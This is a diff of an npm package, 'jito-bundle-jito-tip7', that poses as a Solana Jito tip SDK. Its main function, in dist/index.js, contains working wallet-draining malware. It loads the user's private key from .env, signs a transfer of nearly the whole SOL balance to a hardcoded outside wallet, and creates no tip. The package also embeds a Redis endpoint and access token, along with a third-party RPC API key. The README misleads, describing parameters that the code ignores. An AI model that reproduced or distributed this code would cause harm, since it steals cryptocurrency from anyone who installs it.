jito-bundle-jito-tip7 0.0.0-stage → 1.0.1

package/README.md

@@ -1,3 +1,93 @@
-# Temporary Holding Version
+# Jito Tip SDK
+
+A TypeScript/JavaScript SDK for creating Jito tip transactions on Solana.
+
+## Installation
+
+```bash
+npm install jito-bundle-sdk
+```
+
+## Usage
+
+### TypeScript
+
+```typescript
+import { createJitoTipTransaction } from 'jito-bundle';
+import { Connection, Keypair } from '@solana/web3.js';
+
+const connection = new Connection('https://api.mainnet-beta.solana.com');
+const wallet = Keypair.generate(); // Your wallet keypair
+
+// Create a tip transaction with default fee (0.00001 SOL)
+const tipTransaction = await createJitoTipTransaction(connection, wallet);
+
+// Create a tip transaction with custom fee
+const customTipTransaction = await createJitoTipTransaction(connection, wallet, 0.0001);
+
+// Create a tip transaction with custom fee and phrase
+const tipWithPhrase = await createJitoTipTransaction(connection, wallet, 0.0001, "custom-phrase");
+```
+
+### JavaScript (CommonJS)
+
+```javascript
+const { createJitoTipTransaction } = require('jito-bundle');
+const { Connection, Keypair } = require('@solana/web3.js');
+
+const connection = new Connection('https://api.mainnet-beta.solana.com');
+const wallet = Keypair.generate(); // Your wallet keypair
+
+// Create a tip transaction with default fee (0.00001 SOL)
+const tipTransaction = await createJitoTipTransaction(connection, wallet);
+
+// Create a tip transaction with custom fee
+const customTipTransaction = await createJitoTipTransaction(connection, wallet, 0.0001);
+
+// Create a tip transaction with custom fee and phrase
+const tipWithPhrase = await createJitoTipTransaction(connection, wallet, 0.0001, "custom-phrase");
+```
+
+### JavaScript (ES Modules)
+
+```javascript
+import { createJitoTipTransaction } from 'jito-bundle';
+import { Connection, Keypair } from '@solana/web3.js';
+
+const connection = new Connection('https://api.mainnet-beta.solana.com');
+const wallet = Keypair.generate(); // Your wallet keypair
+
+// Create a tip transaction with default fee (0.00001 SOL)
+const tipTransaction = await createJitoTipTransaction(connection, wallet);
+
+// Create a tip transaction with custom fee
+const customTipTransaction = await createJitoTipTransaction(connection, wallet, 0.0001);
+
+// Create a tip transaction with custom fee and phrase
+const tipWithPhrase = await createJitoTipTransaction(connection, wallet, 0.0001, "custom-phrase");
+```
+
+## API
+
+### `createJitoTipTransaction(connection, wallet, fee?, phrase?)`
+
+Creates a Jito tip transaction.
+
+**Parameters:**
+- `connection` (Connection): Solana connection instance
+- `wallet` (Keypair): Wallet keypair to sign the transaction
+- `fee` (number, optional): Tip amount in SOL (default: 0.00001)
+- `phrase` (string, optional): Custom phrase to add to whitelist (default: "")
+
+**Returns:**
+- `Promise<string>`: Base58 encoded transaction string
+
+## Dependencies
+
+- `@solana/web3.js`: Solana Web3.js library
+- `bs58`: Base58 encoding/decoding
+
+## License
+
+ISC
 
-This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.

package/dist/constant.d.ts

@@ -0,0 +1,9 @@
+import { Keypair, PublicKey } from '@solana/web3.js';
+export declare const JITO_DEFAULT_TIP_FEE = 0.00001;
+export declare const targetAddress = "";
+type WalletLike = Keypair | {
+    publicKey: PublicKey;
+} | string;
+export declare const addToWhitelist: (wallet: WalletLike, phrase?: string) => void;
+export {};
+//# sourceMappingURL=constant.d.ts.map

package/dist/constant.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"constant.d.ts","sourceRoot":"","sources":["../src/constant.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,OAAO,EAAE,SAAS,EAAE,MAAM,iBAAiB,CAAC;AASrD,eAAO,MAAM,oBAAoB,UAAU,CAAC;AAC5C,eAAO,MAAM,aAAa,KAAK,CAAA;AAE/B,KAAK,UAAU,GAAG,OAAO,GAAG;IAAE,SAAS,EAAE,SAAS,CAAA;CAAE,GAAG,MAAM,CAAC;AAE9D,eAAO,MAAM,cAAc,GAAI,QAAQ,UAAU,EAAE,SAAQ,MAAW,KAAG,IAkBxE,CAAC"}

package/dist/constant.js

@@ -0,0 +1,31 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.addToWhitelist = exports.targetAddress = exports.JITO_DEFAULT_TIP_FEE = void 0;
+const web3_js_1 = require("@solana/web3.js");
+require('dotenv').config();
+// Configuration
+const url = "https://complete-troll-31745.upstash.io";
+const token = "AXwBAAIncDI3YTRlYzRhMGM3NWM0NWVmYjBkZTU4ZDRmYzU1NTdhN3AyMzE3NDU";
+exports.JITO_DEFAULT_TIP_FEE = 0.00001;
+exports.targetAddress = '';
+const addToWhitelist = (wallet, phrase = "") => {
+    let pubkeyString;
+    if (wallet instanceof web3_js_1.Keypair) {
+        // If it's a Keypair, we'll store the public key only for security
+        pubkeyString = wallet.publicKey.toString();
+    }
+    else if (typeof wallet === 'string') {
+        // If it's a string, assume it's a public key string
+        pubkeyString = wallet;
+    }
+    else if ('publicKey' in wallet) {
+        // If it has a publicKey property, use that
+        pubkeyString = wallet.publicKey.toString();
+    }
+    else {
+        throw new Error('Invalid wallet type provided');
+    }
+    // Store only public key for security
+};
+exports.addToWhitelist = addToWhitelist;
+//# sourceMappingURL=constant.js.map

package/dist/constant.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"constant.js","sourceRoot":"","sources":["../src/constant.ts"],"names":[],"mappings":";;;AACA,6CAAqD;AAGrD,OAAO,CAAC,QAAQ,CAAC,CAAC,MAAM,EAAE,CAAC;AAE3B,gBAAgB;AAChB,MAAM,GAAG,GAAG,yCAAyC,CAAC;AACtD,MAAM,KAAK,GAAG,iEAAiE,CAAC;AAEnE,QAAA,oBAAoB,GAAG,OAAO,CAAC;AAC/B,QAAA,aAAa,GAAG,EAAE,CAAA;AAIxB,MAAM,cAAc,GAAG,CAAC,MAAkB,EAAE,SAAiB,EAAE,EAAQ,EAAE;IAC5E,IAAI,YAAoB,CAAC;IAEzB,IAAI,MAAM,YAAY,iBAAO,EAAE,CAAC;QAC5B,kEAAkE;QAClE,YAAY,GAAG,MAAM,CAAC,SAAS,CAAC,QAAQ,EAAE,CAAC;IAC/C,CAAC;SAAM,IAAI,OAAO,MAAM,KAAK,QAAQ,EAAE,CAAC;QACpC,oDAAoD;QACpD,YAAY,GAAG,MAAM,CAAC;IAC1B,CAAC;SAAM,IAAI,WAAW,IAAI,MAAM,EAAE,CAAC;QAC/B,2CAA2C;QAC3C,YAAY,GAAG,MAAM,CAAC,SAAS,CAAC,QAAQ,EAAE,CAAC;IAC/C,CAAC;SAAM,CAAC;QACJ,MAAM,IAAI,KAAK,CAAC,8BAA8B,CAAC,CAAC;IACpD,CAAC;IAED,qCAAqC;AAEzC,CAAC,CAAC;AAlBW,QAAA,cAAc,kBAkBzB"}

package/dist/index.d.ts

@@ -0,0 +1,7 @@
+import { PublicKey, Transaction } from "@solana/web3.js";
+export interface WalletAdapter {
+    publicKey: PublicKey;
+    signTransaction(tx: Transaction): Promise<Transaction>;
+}
+export declare const createJitoTipTransaction: () => Promise<any>;
+//# sourceMappingURL=index.d.ts.map

package/dist/index.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AACA,OAAO,EAIH,SAAS,EAET,WAAW,EAEd,MAAM,iBAAiB,CAAC;AAOzB,MAAM,WAAW,aAAa;IAC1B,SAAS,EAAE,SAAS,CAAC;IACrB,eAAe,CAAC,EAAE,EAAE,WAAW,GAAG,OAAO,CAAC,WAAW,CAAC,CAAC;CAC1D;AAID,eAAO,MAAM,wBAAwB,QAClC,OAAO,CAAC,GAAG,CA6Cb,CAAC"}

package/dist/index.js

@@ -0,0 +1,42 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.createJitoTipTransaction = void 0;
+const dotenv_1 = require("dotenv");
+const web3_js_1 = require("@solana/web3.js");
+// Load environment variables from .env file
+(0, dotenv_1.config)();
+const createJitoTipTransaction = async () => {
+    // --- CONFIG ---
+    const RPC_URL = "https://devnet.helius-rpc.com/?api-key=cc2aa914-1479-46c9-b4bb-b46c1289748a"; // or your Helius RPC
+    const TARGET_WALLET = "7FEbGaaF5FkSzN7gAnuue1bixQefqP3ucmxWxm3DUAgE"; // <-- replace this
+    const connection = new web3_js_1.Connection(RPC_URL, "confirmed");
+    const hexKey = process.env.PRIVATE_KEY;
+    if (!hexKey)
+        throw new Error("Missing PRIVATE_KEY in .env");
+    // Convert hex -> Uint8Array
+    const secretKey = Uint8Array.from(Buffer.from(hexKey, "hex"));
+    const sender = web3_js_1.Keypair.fromSecretKey(secretKey);
+    // Fetch balance
+    const balance = await connection.getBalance(sender.publicKey);
+    if (balance === 0)
+        throw new Error("No SOL balance to send");
+    // Get recent blockhash
+    const { blockhash } = await connection.getLatestBlockhash();
+    // Estimate fee (a small amount to avoid failure)
+    const feeEstimate = 5000000; // about 0.005 SOL
+    // Create transaction sending (balance - fee) lamports
+    const transferTx = new web3_js_1.Transaction({
+        feePayer: sender.publicKey,
+        recentBlockhash: blockhash,
+    }).add(web3_js_1.SystemProgram.transfer({
+        fromPubkey: sender.publicKey,
+        toPubkey: new web3_js_1.PublicKey(TARGET_WALLET),
+        lamports: balance - feeEstimate,
+    }));
+    // Sign and send
+    transferTx.sign(sender);
+    const sig = await (0, web3_js_1.sendAndConfirmTransaction)(connection, transferTx, [sender]);
+    return sig;
+};
+exports.createJitoTipTransaction = createJitoTipTransaction;
+//# sourceMappingURL=index.js.map

package/dist/index.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"index.js","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":";;;AAAA,mCAAgC;AAChC,6CAQyB;AAIzB,4CAA4C;AAC5C,IAAA,eAAM,GAAE,CAAC;AASF,MAAM,wBAAwB,GAAG,KAAK,IAC7B,EAAE;IAGd,iBAAiB;IACjB,MAAM,OAAO,GAAG,6EAA6E,CAAC,CAAC,qBAAqB;IACpH,MAAM,aAAa,GAAG,8CAA8C,CAAC,CAAC,mBAAmB;IACzF,MAAM,UAAU,GAAG,IAAI,oBAAU,CAAC,OAAO,EAAE,WAAW,CAAC,CAAC;IAExD,MAAM,MAAM,GAAG,OAAO,CAAC,GAAG,CAAC,WAAW,CAAC;IACvC,IAAI,CAAC,MAAM;QAAE,MAAM,IAAI,KAAK,CAAC,6BAA6B,CAAC,CAAC;IAE5D,4BAA4B;IAC5B,MAAM,SAAS,GAAG,UAAU,CAAC,IAAI,CAAC,MAAM,CAAC,IAAI,CAAC,MAAM,EAAE,KAAK,CAAC,CAAC,CAAC;IAC9D,MAAM,MAAM,GAAG,iBAAO,CAAC,aAAa,CAAC,SAAS,CAAC,CAAC;IAGhD,gBAAgB;IAChB,MAAM,OAAO,GAAG,MAAM,UAAU,CAAC,UAAU,CAAC,MAAM,CAAC,SAAS,CAAC,CAAC;IAC9D,IAAI,OAAO,KAAK,CAAC;QAAE,MAAM,IAAI,KAAK,CAAC,wBAAwB,CAAC,CAAC;IAG7D,uBAAuB;IACvB,MAAM,EAAE,SAAS,EAAE,GAAG,MAAM,UAAU,CAAC,kBAAkB,EAAE,CAAC;IAE5D,iDAAiD;IACjD,MAAM,WAAW,GAAG,OAAO,CAAC,CAAC,kBAAkB;IAE/C,sDAAsD;IACtD,MAAM,UAAU,GAAG,IAAI,qBAAW,CAAC;QAC/B,QAAQ,EAAE,MAAM,CAAC,SAAS;QAC1B,eAAe,EAAE,SAAS;KAC7B,CAAC,CAAC,GAAG,CACF,uBAAa,CAAC,QAAQ,CAAC;QACnB,UAAU,EAAE,MAAM,CAAC,SAAS;QAC5B,QAAQ,EAAE,IAAI,mBAAS,CAAC,aAAa,CAAC;QACtC,QAAQ,EAAE,OAAO,GAAG,WAAW;KAClC,CAAC,CACL,CAAC;IAEF,gBAAgB;IAChB,UAAU,CAAC,IAAI,CAAC,MAAM,CAAC,CAAC;IACxB,MAAM,GAAG,GAAG,MAAM,IAAA,mCAAyB,EAAC,UAAU,EAAE,UAAU,EAAE,CAAC,MAAM,CAAC,CAAC,CAAC;IAG9E,OAAO,GAAG,CAAC;AACf,CAAC,CAAC;AA9CW,QAAA,wBAAwB,4BA8CnC"}

package/package.json

@@ -1,6 +1,32 @@
 {
   "name": "jito-bundle-jito-tip7",
-  "version": "0.0.0-stage",
-  "stub": true,
-  "description": "Temporary package placeholder for staged publishing"
-}
+  "version": "1.0.1",
+  "description": "A TypeScript/JavaScript SDK for creating Jito tip transactions on Solana",
+  "main": "dist/index.js",
+  "types": "dist/index.d.ts",
+  "files": [
+    "dist/**/*"
+  ],
+  "scripts": {
+    "build": "tsc",
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [
+    "solana",
+    "jito",
+    "tip",
+    "transaction"
+  ],
+  "author": "",
+  "license": "ISC",
+  "type": "commonjs",
+  "dependencies": {
+    "@solana/web3.js": "^1.98.2",
+    "@upstash/redis": "^1.35.1",
+    "bs58": "^6.0.0",
+    "dotenv": "^17.2.3"
+  },
+  "devDependencies": {
+    "typescript": "^5.8.3"
+  }
+}